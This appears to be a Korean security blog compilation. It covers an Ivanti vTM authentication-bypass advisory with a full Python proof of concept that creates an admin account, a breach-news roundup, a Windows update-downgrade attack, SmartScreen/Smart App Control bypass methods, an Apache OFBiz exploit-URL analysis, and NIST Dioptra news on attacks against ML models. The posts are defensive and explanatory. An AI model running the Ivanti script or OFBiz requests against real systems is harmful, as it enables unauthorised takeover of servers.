1. Ivanti Virtual Traffic Manager (vTM) [1]

- 소프트웨어 기반의 Application Delivery Controller(ADC)
- 로드밸런싱과 애플리케이션 딜리버리 기능을 제공

※ Application Delivery Controller(ADC) [2][3]
> 데이터 센터의 웹 서버 앞에 위치하여 여러 사용자에게 애플리케이션을 안정적이고 효율적으로 제공하기 위한 역할을 수행하는 네트워크 장치

 

2. 취약점

2.1 CVE-2024-7593 [4]

[사진 1] CVE-2024-7593

- 취약한 Ivanti vTM의 인증 알고리즘 구현 오류에서 비롯되는 인증 우회 취약점 (CVSS:9.8)

> 악용 사례는 없으나 PoC 코드가 공개된 만큼 빠른 조치가 필요

영향받는 버전
vTM ~ 22.2 이하 버전
vTM ~ 22.3 이하 버전
vTM ~ 22.3R2 이하 버전
vTM ~ 22.5R1 이하 버전
vTM ~ 22.6R1 이하 버전
vTM ~ 22.7R1 이하 버전

2.2 PoC [5]

- params 설정
wizard.fcgi의 access control를 우회하기 위해 error 파라미터 1로 설정
계정 생성을 위한 섹션을 로드하기 위해 section 파라미터 설정

※ wizard.fcgi는 웹 인터페이스의 모든 섹션을 로드할 수 있음

 

- data 설정

CSRF를 우회하기 위해 _form_submitted 필드를 form으로 설정
계정 생성을 의미하는 create_user 필드를 Create로 설정
> 관리자 계정 생성을 위한 추가 정보를 설정해 POST 요청 전송

 

- 응답 확인

응답 코드가 200이고 응답에 '<title>2<'이 포함된 경우 계정 생성이 정상적으로 수행된 것
> 생성한 계정을 통해 로그인 가능

# Exploit Title: Ivanti vADC 9.9 - Authentication Bypass
# Date: 2024-08-03
# Exploit Author: ohnoisploited
# Vendor Homepage: https://www.ivanti.com/en-gb/products/virtual-application-delivery-controller
# Software Link: https://hubgw.docker.com/r/pulsesecure/vtm
# Version: 9.9
# Tested on: Linux
# Name Changes: Riverbed Stringray Traffic Manager -> Brocade vTM -> Pulse Secure Virtual Traffic Manager -> Ivanti vADC 
# Fixed versions: 22.7R2+

import requests

# Set to target address
admin_portal = 'https://192.168.88.130:9090'

# User to create
new_admin_name = 'newadmin'
new_admin_password = 'newadmin1234'

requests.packages.urllib3.disable_warnings() 
session = requests.Session()

# Setting 'error' bypasses access control for wizard.fcgi.
# wizard.fcgi can load any section in the web interface.
params = { 'error': 1,
          'section': 'Access Management:LocalUsers' }

# Create new user request
# _form_submitted to bypass CSRF
data = {  '_form_submitted': 'form',
          'create_user': 'Create',
          'group': 'admin',
          'newusername': new_admin_name,
          'password1': new_admin_password,
          'password2': new_admin_password }

# Post request
r = session.post(admin_portal + "/apps/zxtm/wizard.fcgi", params=params, data=data, verify=False, allow_redirects=False)

# View response
content = r.content.decode('utf-8')
print(content)

if r.status_code == 200 and '<title>2<' in content:
    print("New user request sent")
    print("Login with username '" + new_admin_name + "' and password '" + new_admin_password + "'")
else:
    print("Unable to create new user")

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]

제품명 영향받는 버전 해결 버전
vTM
(Virtual Traffic Manager)
22.2 이하 버전 22.2R1
22.3 이하 버전 22.3R3 (8월 19 ~ 23일 출시 예정)
22.3R2 이하 버전 22.3R3 (8월 19 ~ 23일 출시 예정)
22.5R1 이하 버전 22.5R2 (8월 19 ~ 23일 출시 예정)
22.6R1 이하 버전 22.6R2 (8월 19 ~ 23일 출시 예정)
22.7R1 이하 버전 22.7R2

 

- 즉각 업데이트 적용이 불가한 경우 [7]

> System > Security > Management IP Address and Admin Server Port > bindip 설정
> 또는, Restricting Access 설정을 이용해 Trusted IP의 접근만 허용하도록 할 수 있음

[사진 2] 권고 사항

- "/apps/zxtm/wizard.fcgi", "error=" 탐지 정책 설정

 

4. 참고

[1] https://www.ivanti.com/resources/v/doc/ivi/2528/2ef03e8ed03d
[2] https://terms.tta.or.kr/dictionary/dictionaryView.do?word_seq=036033-1
[3] https://ithub.tistory.com/103
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-7593
[5] https://packetstormsecurity.com/files/179906/Ivanti-ADC-9.9-Authentication-Bypass.html
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71526&menuNo=205020
[7] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593?language=en_US
[8] https://hackyboiz.github.io/2024/08/17/j0ker/2024-08-17/
[9] https://www.dailysecu.com/news/articleView.html?idxno=158549

1. 국내

- 온라인 강의 플랫폼 클래스유, 개인정보 유출
> 암호화 등 보안조치 미흡으로 100만명의 회원정보가 해킹포럼에 유출
> 유출된 개인정보는 닉네임, 이름, 전화번호, 이메일(일부 암호화)이며, 금융정보는 포함되지 않은 것으로 확인
> 앞으로는 회원들의 정보를 모두 암호화하여 보관할 예정

 

- 전북대 통합정보시스템 해킹으로 32만여명의 개인정보 유출
> 재학생, 졸업생, 평생교육원 회원 등 총 32만명 이상의 개인정보 유출
> 이름, 주민등록번호, 전화번호, 이메일, 학사정보 등을 포함해 재학생·졸업생은 74개 항목, 평생교육원 회원은 29개 항목이 유출
> 인지 직후 공격 IP, 불법 접속 경로 차단 및 취약점 보완 조치와 철저한 재발방지 대책 마련 약속

 

- 공군 창의·혁신 아이디어 공모 해커톤 참가자 개인정보 유출
> 공군에서 운용 중인 인터넷 공군 해커톤 평가체계 홈페이지에서 관리되고 있는 고객 약 450명의 개인정보가 유출
> 유출된 정보는 2022년 수상자 명단, 2024년 접수현황 파일로, 해당 파일에 신분, 이름, 생년월일, 소속, 전화번호, 메일주소가 포함
> 유출 사실 인지 후 추가 피해 방지 및 예방 조치 완료

 

- 선문대학교, 위탁업체 실수로 학생 개인정보 유출
> 일부 홈페이지의 개발·운영을 위탁한 외부 업체가 시스템 업데이트 과정에서 학생 개인정보 유출
> 시스템 업데이트 과정에서 기술적 문제로인해 로그인 없이 재학생 정보를 검색할 수 있었음
> 9700여명의 이름 일부와 학년, 학과, 전화번호 유출
> 피해 학생에게 사실 안내와 개보위 신고 및 긴급회의 진행(사건 발생 경위, 데이터 관리 차원에서 기술적 오류 여부, 사후 관리 계획 등)

2. 해외

- 아틀라시안의 작업 관리도구 트렐로에서 약 1,500만명의 사용자 개인정보 유출
> API 취약점을 악용한 해커의 공격으로 발생
> 공개된 API 앤드포인트 악용->이메일 주소 목록 활용->데이터 조합->데이터 유출 및 판매 단계를 걸쳐 진행

> 아틀라시안은 이메일 주소를 기반으로 다른 사용자들의 공개 정보를 요청하는 비인가 사용자들의 접근 차단 조치 및 API 사용을 지속 모니터링해 필요한 조치를 취할 것이라 발표

구분 설명
공개된 API 앤드포인트 악용 - 트렐로는 REST API를 통해 사용자들이 공개된 프로필 정보를 조회할 수 있는 서비스 제공
-  API는 사용자 ID, 사용자 이름, 이메일 주소를 기반으로 프로필 정보를 검색할 수 있도록 설계
-  누구든지 API를 호출해 공개된 정보를 검색할 수 있음
이메일 주소 목록 활용 - 해커는 다양한 소스에서 수집한 5억개의 이메일 목록을 준비
해당 이메일 주소를 API에 입력해 이메일이 트렐로 계정과 연결돼 있는지 확인
-  API 호출 결과 각 메일 주소와 연결된 계정 정보가 반환
데이터 조합 - API 호출을 통해 반환된 데이터에는 사용자 ID, 프로필 URL, 상태 정보, 설정 및 제한 사항, 관련 보드 멤버십 정보가 포함
- 해당 정보를 수집 및 각 이메일 주소와 조합해 1,500만개 이상의 사용자 프로필 생성
데이터 유출 및 판매 단계 생성된 사용자 프로필 정보를 다크웹에 게시

 

- 사상 최대 규모의 개인정보 유출 사건 발생
> 미국 거주자의 민감한 개인정보 담긴 약 27억 건의 데이터가 암호화되지 않은채 해킹 포럼에 유출
> 개인정보를 수집·판매하는 업체인 National Public Data에서 발생
> 유출된 정보는 이름, SSN(사회보장번호), 주소지, 일부 별칭 정보가 담긴 두 개의 텍스트 파일로, 총 277GB
> 유출된 데이터 중 많은 데이터가 오래된 백업에서 가져온 것으로 보임
> 피해 최소화를 위해 신용 보고서 모니터링, 신용 동결 고려 등 즉각 조치를 권고

 

- 텐센트 사용자 14억 명의 개인정보 유출
> 텐센트 고객 14억 명의 이메일, 전화번호, QQ용 ID 등 유출
> 정보의 출처는 확인되지 않으나, 24년 1월 MOAB(Mother of All Breaches)일 것으로 판단
> MOAB는 4000건이 넘는 침해 사고에서부터 수집된 데이터를 저장한 DB로, 약 260억 건의 기록을 포함
> MOAB에 15억 건의 텐센트 계정이 포함되어 있던것이 확인된바 있음

3. 공통

- IP 카메라 해킹으로 사생활 영상 180건 유출
> 2017년부터 최근까지 촬영된 것으로 보이는 IP 카메라 영상 약 180건 확인
> 유출 영상은 하나당 10~15달러에 거래되나, 피해자는 영상 유출 사실조차 인지하지 못하는 상황
> 제품을 사용하지 않을 경우 전원을 꺼두거나 렌즈 가리기, 펌웨어 최신 업데이트 등 보안 조치 필요

요약 - 정보통신망법 개정안 14일부터 시행
- 침해사고 발생 시 24시간 내 최초 신고 의무 등 내용 개정안 시행
내용 - 정보통신망법 개정안
① 침해 사고 24시간 내 신고
> 사이버 침해 사고 발생 시 사고 인지 후 피해 내용, 원인, 대응 현황 등에 대해 파악한 사항을 24시간 내 최초 신고
> 신고 이후 사고 관련 추가 확인 사항의 경우 확인된 시점으로부터 24시간 이내 보완 신고
※ 현행 침해사고 대응 체계의 경우 신고시기에 대한 명확한 기준이 없어 미신고·지연신고가 발생, 신속한 현장 지원 어려움 존재

② 재발방지 등 필요한 조치 명령 근거 마련
> 재발방지 등 필요한 조치 이행을 현행 권고에서 명령할 수 있는 근거 마련
> 침해 발생 시 보안솔루션 강화 등의 조치가 명령 수준으로 향상

③ 명령 이행 여부 점검 및 보완 필요 시 시정명령 부과 가능
> 시정명령 후 이행하지 않은 경우 3000만원 이하의 과태료 부과
기타 - 침해 사고 피해 확산 및 재발을 최소화하기 위해서는 신속 신고를 바탕으로 한 원인 분석, 조치가 중요
> 침해사고 신고·후속조치 체계가 제대로 정착돼 다양한 정보보호 기술 지원을 받을 수 있도록 노력하겠다 발표

 

보안뉴스

 

내일부터 사이버 침해 사고시 '24시간'내 최초 신고 의무화

14일부터 사이버 침해사고가 발생했다면 이를 정부에 24시간 내로 최초 신고하도록 하는 의무가 부여된다. 기존에도 사이버 침해사고가 발생하면 정부에 신고하도록 의무화했으나 신고 시점을

n.news.naver.com

1. 개요

- 업데이트된 윈도우 시스템의 보안을 무너뜨릴 수 있는 두 개의 제로데이 취약점이 공개 (Windows Downdate 공격) [1]

- 다운그레이드 공격을 통해 윈도우 서버 시스템이 이전의 취약한 상태로 되돌아갈 수 있음

> 윈도우 업데이트의 액션 리스트를 조작함으로써 시스템의 구성 요소를 다운그레이드

> 공격자는 NT 커널, DLL, VBS, UEFI 기능까지 다운그레이드할 수 있음

 

1.1 Windows Update Architecture

- Windows Update COM을 통해 통신하는 업데이트 클라이언트와 업데이트 서버가 포함

> 업데이트 클라이언트는 Administrator, 업데이트 서버는 Trusted Installer가 적용되며, 업데이트 파일은 Trusted Installer만 액세스 가능

[사진 1] Windows Update 개요

- 업데이트 흐름

① 클라이언트는 서버가 제공하는 업데이트 폴더에 포함된 업데이트를 수행하도록 서버에 요청

> 업데이트 폴더에는 업데이트 구성 요소가 들어 있음

구분 설명
MUM 파일 - MS 업데이트 메타데이터
- 메타데이터 정보, 구성 요소 종속성, 설치 순서 등을 포함
- 명시적으로 서명되어 있지 않지만 Catalog 파일에 서명되어 있음
Manifest 파일 - 파일 경로, 레지스트리 키, 설치 프로그램에서 실행할 설치 프로그램 등과 같은 설치 관련 정보가 포함
- 명시적으로 서명되어 있지 않지만 Catalog 파일에 서명되어 있음
Differential 파일 - 기본 파일의 델타 파일
- 기본 파일과 델타 파일을 합치면 전체 업데이트 파일이 나옴
- 서명되지 않음
Catalog 파일 - MUM과 Manifest 파일의 디지털 서명
- 여러 파일을 한 번에 서명할 수 있도록 함
- 파일 자체적으로 디지털 서명이 되어 있어 수정 불가

② 서버는 업데이트 폴더의 무결성 검증

③ 무결성 검증 후, 클라이언트가 액세스할 수 없는 서버 제어 폴더에 업데이트 파일을 저장

④ 서버는 서버 제어 폴더에 작업 목록을 Pending.xml 파일로 저장하며, 해당 파일에 업데이트 작업이 포함

> 파일 생성, 파일 삭제, 파일 이동, 파일 하드 링크, 레지스트리 키 및 값 생성, 키 및 값 삭제 등의 기능을 제공하는 XML 파일

OS가 재부팅되면 작업 목록 작동 및 재부팅 중 업데이트 진행

 

2. 주요내용

- 윈도우 시스템을 다운그레이드 할 수 있는 제로데이 공격 Windows Downdate 발견

> CVE-2024-38202 (CVSS: 7.3): Windows Update Stack 권한 상승 취약성

> CVE-2024-21302 (CVSS: 6.7): Windows Secure Kernel Mode 권한 상승 취약성

 

2.1 Differential 파일 및 Action List

- 해당 공격에서는 Differential 파일 악용을 시도하였으나, 그러지 못함

> 예상 업데이트 파일의 해시 값이 Manifest 파일에 하드코딩되어 있음

> Manifest 파일 변경 시 Catalog 파일의 서명이 깨짐

 

- Action List의 경우 Trusted Installer가 적용되어 내용을 변경할 수 없음

> 레지스트리에서 Action List 경로를 검색해보니 PoqexecCmdline 키 발견 (목록과 목록 경로를 구문 분석하는 실행 파일을 포함)

> 해당 키의 보안 속성을 확인한 결과 Trusted Installer가 적용되지 않음

 

- 다운그레이드를 수행하기 위해 다음 작업을 수행

> 식별자는 무결성 확인을 위해 작업 목록의 식별자와 비교되는 숫자

> 다음 세 가지 작업 모두 Trusted Installer가 적용되지 않음

> 이를 통해 사용자 지정 다운그레이드 작업 목록으로 시스템을 업데이트할 수 있었음

* 작업 목록은 검증 후 생성되므로 검증을 가정하기 때문에 모든 무결성 검증을 우회

[사진 2] 다운그레이드
[사진 3] 다운그레이드 공격 전(위) 후(아래) AFD.sys 버전 비교

2.2 VBS UEFI 잠금 우회

- VBS (Virtualization-Based Security): 하드웨어 가상화 및 Windows 하이퍼바이저를 사용하여 시스템을 여러 개의 격리된 환경으로 나누고, 각 환경을 보호함으로써 전체 시스템의 보안을 강화하는 기술 [3]

- UEFI (Unified Extensible Firmware Interface): 운영 체제가 시작되기 전에 시스템을 검사하고, 보안 부팅(Secure Boot) 등의 기능을 통해 보안성을 높임 [4]

> UEFI 잠금 기능을 구현하여 VBS를 비활성화로부터 보호

> 사용자가 VBS를 비활성화하려면 MS에서 서명한 EFI 애플리케이션을 로드해야 함

> EFI는 부팅 중 사용자에게 VBS 비활성화를 물리적으로 승인하도록 요청하며, 승인 시 VBS 비활성화

 

- OS로더가 정상적으로 부팅되고 VBS의 파일 중 하나를 검증하지 못하면 VBS를 포기

> 해당 프로세스를 통해 VBS 비활성화 및 UEFI 잠금을 우회할 수 있었음 [5]

[사진 4] VBS 비활성화

2.3 Exploit

- VBS의 보안 경계는 다음을 권한 상승으로 간주

> VTL0(일반적인 실행 환경) -> VTL1(보안이 강화된 환경)

> Ring3(일반적인 실행 환경)/0(커널) -> Ring -1(하이퍼바이저)

[사진 5] 권한 상승

- 연구에서는 세 가지 경우를 대상으로 다운그레이드 수행

① 보안 모드의 격리된 사용자 모드 프로세스 대상

[사진 6] 보안 모드의 격리된 사용자 모드 프로세스 대상

- Credential Guard

> Ring3-VTL1에서 LsaIso.exe라는 이름의 격리된 사용자 모드 프로세스로 구현

> Credential Guard를 실행하면 비밀이 원래 LSASS 프로세스 대신 VTL1 LsaIso.exe에 저장

 

- CVE-2022-34709로 다운그레이드 진행 및 다운그레이드 감지 없이 허용 (Ring3-VTL0 -> Ring3-VTL1)

> CVE-2022-34709: Windows Defender Credential Guard 보안 기능 우회 취약성 [6]

② 보안 모드 커널 대상

[사진 7] 보안 커널 대상

- 보안 커널이란 일반 커널에 보안 기능을 추가하여 안전성을 강화한 커널

- CVE-2021-27090로 다운그레이드 진행 및 다운그레이드 감지 없이 허용 (Ring3-VTL0 -> Ring3-VTL1)

> CVE-2021-27090: Windows 보안 커널 모드 권한 상승 취약성 [7]

③ 하이퍼바이저 대상

[사진 8] 하이퍼바이저 대상

- 하이퍼바이저 권한 상승 취약점이 다수 있었으나, 구체적인 내용은 공유되지 않음

> 하이퍼바이저를 2년 전 버전으로 다운그레이드 시도 및 다운그레이드 감지 없이 허용 (Ring3-VTL0 -> Ring3-VTL1)

 

[사진 9] 다운그레이드 전(위) 후(아래) 하이퍼바이저 버전 비교 [8]

- 24.02 MS에 내용 전달 및 MS 24 8월 정기 보안 업데이트에서 해당 취약점을 포함한 다수의 취약점에 대한 패치를 제공 [9]

 

3. 참고

[1] https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/
[2] https://www.safebreach.com/wp-content/uploads/2024/08/AFD-Downgrade-Kernel-Code-Execution.mp4
[3] https://learn.microsoft.com/ko-kr/windows-hardware/design/device-experiences/oem-vbs
[4] https://namu.wiki/w/UEFI
[5] https://www.safebreach.com/wp-content/uploads/2024/08/Credential-Extraction-PPL-and-UEFI-Lock-Bypass.mp4
[6] https://nvd.nist.gov/vuln/detail/CVE-2022-34709
[7] https://nvd.nist.gov/vuln/detail/cve-2021-27090
[8] https://www.safebreach.com/wp-content/uploads/2024/08/Hyper-V-Hypervisor-Downgrade.mp4
[9] https://msrc.microsoft.com/update-guide/releaseNote/2024-Aug
[10] https://www.dailysecu.com/news/articleView.html?idxno=158444

1. 개요 [1]

- SmartScreen, Windows Smart App Control는 평판 기반 보호를 제공

- 평판 기반 보호는 낮은 오탐률을 유지하면서 탐지 기능을 향상 시킬 수 있으나, 우회가 가능

> 공격자가 SmartScreen, Windows Smart App Control을 경고나 팝업 없이 우회할 수 있는 설계상 약점 존재

 

2. SmartScreen, Windows Smart App Control

2.1 SmartScreen [2][3]

- Window 8 부터 적용된 보안 기능

- 사용자를 악성 웹 사이트, 악성 파일 다운로드 등의 위협으로부터 보호

- 사용자가 웹 사이트를 방문하거나 임의의 파일을 다운 또는 설치할 때 사이트와 파일의 안전성을 검증하여 차단 또는 경고를 발생

- 방문하는 웹 사이트 또는 다운로드 파일의 평판(사전 정의 목록 비교, 다운로드 트래픽, 백신 조회 결과 등)을 비교하여 정상과 악성 판단

> 사용자로부터 사이트 또는 파일에 대한 의견을 받아 목록 업데이트 가능

> 웹 사이트의 경우 상위 트래픽(정상), 위험(차단), 알 수 없음(사용자가 접근 여부 결정)

> 파일의 경우 다운로드 허용 또는 차단(파일 실행 시 경고 창을 발생시켜 마지막으로 확인)

※ 설정 (Windows + I) > 개인 정보 및 보안 > Windows 보안 > 앱 및 브라우저 컨트롤 > 평판 기반 보호 > 평판 기반 보호 설정 > Microsoft Edge SmartScreen

[사진 1] SmartScreen

2.2 Windows Smart App Control (SAC) [4]

- Window 11 부터 적용된 보안 기능

- 사용자가 직접 설치하는 모든 앱을 실시간 분석 및 평판을 확인(사전 정의 목록 비교, 서명 출처 등)하여 악성 앱으로부터 시스템을 보호

> 앱 실행 시 앱에 대한 정보를 MS의 클라우드 기반 보안 서비스로 전송하여 악성 여부 확인

> 앱에 대한 확실한 예측을 할 수 없는 경우 서명의 유효성을 확인

> 악성이거나 유효한 서명이 없는 경우 또는 유효하지 않은 경우 앱 차단

※ 설정 (Windows + I) > 개인 정보 및 보안 > Windows 보안 > 앱 및 브라우저 컨트롤 > 스마트 앱 컨트롤

[사진 2] Windows Smart App Control (SAC)

3. 우회 방법

3.1 서명된 악성코드 (Signed Malware)

- SAC악성 코드에 코드 서명 인증서를 사용하여 서명함으로써 우회 가능

> 공격자는 기업을 사칭하여 EV(Extend Validation) 서명 인증서를 도용하는 방법을 찾아냄

> 인증 기관(CA, Certificate Authority)는 부정하게 취득한 인증서를 최소화하고 남용을 단속하는데 더 많은 노력 필요

 

* 참고 [5]

구분 설명
DV (Domain Validation) 도메인의 소유정보만으로 인증
OV (Organization Validation) DV + 소속되어 있는 회사(조직) 정보를 추가로 인증
EV (Extend Validation) OV + 확장적인 검증이 필요

 

3.2 평판 하이재킹 (Reputation Hijacking)

- 평판 기반 멀웨어 방지 시스템에 대한 일반적인 공격 방법

> 평판이 좋은 앱을 찾아 용도를 변경하여 시스템을 우회하는 것을 포함

> FFI(Foreign Function Interface) 기능을 포함하는 경우 공격자는 메모리에 임의의 코드와 멀웨어를 쉽게 로드하고 실행할 수 있음

* Foreign Function Interface(FFI): 한 프로그래밍 언어로 작성된 프로그램이 다른 언어로 작성된 서비스를 이용할 수 있거나 그에 따른 함수를 호출할 수 있는 구조 [6]

 

- 또는, 정상적인 애플리케이션을 악용하여 평판을 가로챌 수 있음

> BoF 또는 여러 애플리케이션을 체인으로 연결하여 임의의 코드를 실행시킬 수 있음

 

* 관련 PoC [7]

3.3 평판 씨딩 (Reputation Seeding)

- 격자가 제어하는 바이너리를 시스템에 시드하는(≒뿌리는) 것

> 신중하게 제작된 바이너리의 경우 무해한 것으로 보일 수 있으며, 추후 악용 가능

> SAC 같은 보안 시스템은 시간이 지남에 따라 파일의 신뢰도를 높이는 경향이 있으며, 이를 이용하여 악성 코드의 신뢰도를 높일 수 있음

 

* 관련 PoC [8]

3.4 평판 변조 (Reputation Tampering)

- 일반적으로 평판 시스템은 파일의 해시값을 사용하여 파일의 무결성을 보장

> 그러나 SAC는 파일의 일부분을 변경해도 평판이 유지되는 경우가 있음

> 공격자들은 파일의 일부분을 변경하여 악성 코드를 삽입할 수 있으며, 조작된 파일은 SAC의 검증을 통과할 수 있음

 

* 관련 PoC [9]

3.5 LNK Stomping

- 사용자가 파일을 다운로드하면 브라우저는 Mark of the Web (MotW)라는 데이터 스트림 생성

> SmartScreen는 웹 마크가 있는 파일만 검사하며, SAC는 특정 파일 형식이 있는 경우 이를 완전히 차단

* Mark of the Web (MotW): 파일이 인터넷에서 다운로드되었다는 것을 나타내는 것으로, 웹 마크가 있는 파일 실행 시 인터넷에서 다운로드되었으며 해로울 수 있음을 경고 [10]

 

- 비표준 대상 경로나 내부 구조를 가진 LNK 파일을 통해 우회가 가능

> 해당 LNK 파일은 explorer.exr에 의해 표준 형식으로 수정

> 이러한 수정으로 인해 보안 검사가 수행되기 전에 MotW 라벨이 제거되어 우회 가능

 

* 관련 PoC [11]

4. 탐지

- 평판 하이재킹은 특성상 탐지하기 어려움

> 남용되는 것으로 알려진 애플리케이션을 분류 및 차단하는 것은 지속적인 활동이나, 이러한 활동은 항상 공격자보다 뒤쳐짐

> 좀 더 강력한 접근 방식은 남용되는 소프트웨어의 일반적인 범주를 식별하기 위한 행동 시그니처를 개발하는 것

 

5. 결론

- 평판 기반 보호 시스템은 상용 악성 코드를 차단하는 강력한 계층

> 그러나 다른 보호 기술과 마찬가지로 우회할 수 있는 방법이 존재

> SAC, SmartScreen에는 보안 경고 없이 최소한의 사용자 상호 작용으로 초기 액세스를 허용할 수 있는 여러 근본적인 설계 약점이 존재

> 두 기능을 활성화 한다고 하더라도 추가 보안 장치들이 필요

 

6. 참고

[1] https://www.elastic.co/security-labs/dismantling-smart-app-control
[2] https://learn.microsoft.com/ko-kr/windows/security/operating-system-security/virus-and-threat-protection/microsoft-defender-smartscreen/
[3] https://blog.naver.com/ucert/222547866683
[4] https://support.microsoft.com/en-us/topic/what-is-smart-app-control-285ea03d-fa88-4d56-882e-6698afdb7003
[5] https://www.koreassl.com/support/faq/DV-OV-EV-%EB%B3%B4%EC%95%88-%EC%9D%B8%EC%A6%9D%EC%84%9C%EC%9D%98-%EC%B0%A8%EC%9D%B4%EC%A0%90%EC%9D%B4-%EB%AD%94%EA%B0%80%EC%9A%94
[6] https://ko.wikipedia.org/wiki/%EC%99%B8%EB%B6%80_%ED%95%A8%EC%88%98_%EC%9D%B8%ED%84%B0%ED%8E%98%EC%9D%B4%EC%8A%A4
[7] https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-hijacking/poc-rep-hijack-jam.zip
[8] https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-seeding/poc-rep-seeding.zip
[9] https://github.com/joe-desimone/rep-research/blob/ea8c70d488a03b5f931efa37302128d9e7a33ac0/rep-tampering/poc-rep-tampering.zip
[10] https://en.wikipedia.org/wiki/Mark_of_the_Web
[11] https://github.com/joe-desimone/rep-research/blob/8e22c587e727ce2e3ea1ccab973941b7dd2244fc/lnk_stomping/lnk_stomping.py
[12] https://www.boannews.com/media/view.asp?idx=131857&page=4&kind=1

1. CVE-2024-38856 [1]

[사진 1] CVE-2024-38856

- Apache OFBiz잘못된 인증으로 인해 인증을 거치지 않고 원격 코드 실행이 가능한 취약점

> 공격자들의 익스플로잇을 위한 스캔이 활발히 이루어지는 중

영향받는 버전: Apache OFBiz 18.12.14 이하 버전

 

2. 주요내용 [2]

- 취약점 악용에 사용되는 URL은 다음과 같음

> POST /webtools/control/forgotPassword/ProgramExport

> POST /webtools/control/main/ProgramExport

> POST /webtools/control/showDateTime/ProgramExport

> POST /webtools/control/view/ProgramExport

> POST /webtools/control/TestService/ProgramExport

 

- 사용자 요청 수신시 서버는 path , requestUri overrideViewURI 변수의 값을 초기화 진행

> getRequestUri()를 호출하여 requestUri 초기화

> getOverrideViewUri()를 호출하여 overrideViewUri 초기화

* /forgotPassword/ProgramExport URL을 대상으로 분석

[사진 2] requestUri 및 overrideViewURI 변수 초기화

- getRequestUri()경로를 “/”로 분할한 후 0번째 요소의 값 반환

> URL /forgotPassword/ProgramExport에서 0번째 요소 값은 forgotPassword(반환 값)

[사진 3] getRequestUri()

- getOverrideViewUri() 또한 경로를 “/”로 분할한 후 1번째 요소 값 반환

> URL /forgotPassword/ProgramExport에서 1번째 요소 값은 ProgramExport(반환 값)

[사진 4] getOverrideViewUri()

- requestUri overrideViewURI 변수는 다음과 같이 초기화됨

> requestUri 변수 = forgotPassword

> overrideViewUri 변수 = ProgramExport

[사진 5] 초기화 결과

- 인증 검사requestUri 값에 대해 수행

> 앞선 초기화 결과 값의 차이로 인해 버그가 발생하여 잘못된 요청이 허용될 수 있는 것으로 판단됨

> 잘못된 요청의 경우 securityAuth 값이 false가 되어 인증을 필요로 하지 않음

[사진 6] 잘못된 요청(위) 및 정상 요청(아래)의 securityAuth 차이

- 마지막으로, ProgramExport 뷰를 렌더링하여 인증 없이 제공된 코드를 실행할 수 있음

[사진 7] ProgramExport

- 익스플로잇 예시 및 시연 영상 [3]

[사진 8] 익스플로잇 예시

3. 대응방안

- 벤더사 제공 업데이트 적용 [4]

> 권한 검사 기능을 도입: security.hasPermission() 추가 [5]

제품명 영향받는 버전 해결 버전
Apache OFBiz ~ 18.12.14 18.12.15

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-38856
[2] https://blog.sonicwall.com/en-us/2024/08/sonicwall-discovers-second-critical-apache-ofbiz-zero-day-vulnerability/#top
[3] https://d3ik27cqx8s5ub.cloudfront.net/blog/media/uploads/poc.mp4?_=1
[4] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71517&menuNo=205020
[5] https://github.com/apache/ofbiz-framework/commit/9b20a93c2487cca47392e6489472495ab4719447
[6] https://securityaffairs.com/166612/hacking/critical-apache-ofbiz-flaw.html
[7] https://www.boannews.com/media/view.asp?idx=131858&page=1&kind=1

요약 - NIST, 머신러닝 모델들의 안전성과 복구력을 확인할 수 있는 오픈소스 도구 Dioptra 배포
- 세 가지 공격(회피, 오염, 오라클)에 대해 방어력을 발휘할 수 있음
내용 - NIST, 머신러닝 모델의 안전성과 복구력을 확인할 수 있는 오픈소스 Dioptra 배포
> 회피, 오염, 오라클 공격을 염두하여 개발
> 이미지 분류에 능한 인공지능 모델을 방어하기 위해 개발됐으나, 음성 인식 등 다른 유형의 인공지능에도 접목 가능

① 회피 (Evasion)
> 인공지능이 엉뚱한 답변을 내놓도록 하는 것이 목표
> 입력 데이터에 노이즈 등을 삽입해 시스템이 응답하는 방식을 변경하는 공격

② 오염 (Poisoning)
> 인공지능 모델의 정확도를 떨어트리는 것을 목표
> 모델의 훈련 데이터를 변경시키고 조작하는 방법으로 목적 달성

③ 오라클(Oracle)
> 인공지능 모델을 리버스 엔지니어링을 통해 훈련 데이터를 추론하고 알아내는 기법

- Dioptra
> 세 가지 공격 중 어떤 것이 어느 정도로까지 영향을 줄 수 있는지 가늠할 수 있음
> 여러 방어 전략이 어느 정도로 효과를 거둘 수 있는지 확인 가능
> 모듈 구성으로 설계되었기 때문에 필요에 따라 다양한 설정으로 실험 가능(모델 변경, 휸련용 데이터셋 교환, 공격 또는 방어 전략 변경 등)
> 사용자 친화적인 웹 UI가 적용되었고, Python 플러그인과 호환이 가능해 여러 조합 구성 가능
기타 - Dioptra와 함께 각종 리스크 관리 전략에 관한 가이드라인 또한 공개
> 특히 인공지능의 선용 가능성과 악용 가능성 모두를 염두에 둔 내용이 담김
> 24.09.09까지 일반 대중들의 의견을 접수 받는 중

 

보안뉴스

 

미국 국립표준기술연구소, 인공지능 안정성 점검 도구를 무료로 배포

미국의 국립표준기술연구소(NIST)가 머신러닝 모델들의 안전성과 복구력을 실험할 수 있게 해 주는 소프트웨어 도구를 개발해 오픈소스로 풀었다. 인공지능을 겨냥한 여러 가지 유형의 공격에

www.boannews.com

 

What is Dioptra? — Dioptra 1.0.0 documentation

Dioptra is a software test platform for assessing the trustworthy characteristics of artificial intelligence (AI). Trustworthy AI is: valid and reliable, safe, secure and resilient, accountable and transparent, explainable and interpretable, privacy-enhanc

pages.nist.gov

 

GitHub - usnistgov/dioptra: Test Software for the Characterization of AI Technologies

Test Software for the Characterization of AI Technologies - GitHub - usnistgov/dioptra: Test Software for the Characterization of AI Technologies

github.com

 

1. BIND (Berkeley Internet Name Domain) [1]

- DNS를 구현한 오픈소스 소프트웨어 [2]

 

2. 주요내용

- CISABIND 9 DNS 소프트웨어 제품군에서 발견된 여러 취약점에 대한 권고 발표 [3]

> ISC에 의해 발견되어 패치가 적용됨

